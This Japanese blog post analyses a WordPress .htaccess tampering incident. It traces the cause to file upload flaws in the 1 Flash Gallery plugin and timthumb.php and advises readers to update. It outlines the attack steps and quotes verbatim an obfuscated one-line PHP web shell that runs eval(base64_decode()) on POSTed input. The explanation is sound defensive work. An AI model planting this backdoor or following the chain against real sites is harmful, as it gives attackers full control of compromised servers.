「WordPress サイトの .htaccess が改ざんされている件」という記事が話題になっていましたが、その原因に関して私が調べた範囲で書いてみます。
↓これですけどね。
まず、ロリポップは関係ないので安易にサーバ会社の名前と組み合わせて書かない方がいいと思います。(追記:記事タイトルからサーバ会社名が消されたようですね)
で、考えられる原因ですが、去年あたり、WordPress で人気のプラグイン、1 Flash Gallery のファイルアップロード機能や、timthumb.php に脆弱性があって (簡単に言えば誰でも外部からファイルをアップロードできた)、それを使った攻撃ってのが話題になったんですが、それがらみじゃないかなと。※
特に timthumb.php に関してはプラグインではなくて、テーマなどに同梱されてることがある単体のスクリプトなので気がつきにくいかも。
- 1 Flash Gallery: Arbitrary File Upload : Spare Clock Cycles
- Vulnerability Found in timthumb.php : VaultPress Blog
- 【3】WordPress の TimThumb スクリプトに脆弱性 : JPCERT コーディネーションセンター Weekly Report
つまり、手順はこんな感じです。例えばプラグインの脆弱性を突くならですが、
- WordPress はデフォルト設定で使ってるとプラグインの場所とか固定されてるから、片っ端から特定プラグインが入ってるかを調べるリクエストを投げる
- 攻撃対象のプラグインが見つかったら、攻撃用のファイルをアップロードするリクエストを投げる (index.bak.php とか、画像ファイルに偽装した PHP ファイルとか)
- ファイルのアップロードが成功したら .htaccess を改竄する PHP コードをポストする (これで画像に偽装した PHP ファイルも実行可能に)
- あとは攻撃用のコードをポストする (ヒャッハー)
最初に挙げた、「バカに毛が生えたブログ」 さんで掲載されていた下記のソースコードは、細かいところは置いといて、eval() でポストされたコードを実行させるのが目的でしょう。つまり、このファイルが置かれてると、外部から実行したいコードをポストするだけでやりたい放題です。
<?php ($_=$_POST).($_1='_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?>
画像ファイルに偽装した PHP ファイルを使ってるのは、恐らく単純にバレるのを遅らせるためですね。index.bak.php だけでもいいんですが、それが削除されたとしても画像に気付かれなければ…
ということで、もし心当たりがある場合はアップデートするなど対策を取ったほうがよろしいかと思います。
※あくまで調べた情報を基に推測で書いていますので、本当にこれが原因かはわからないですけど参考まで。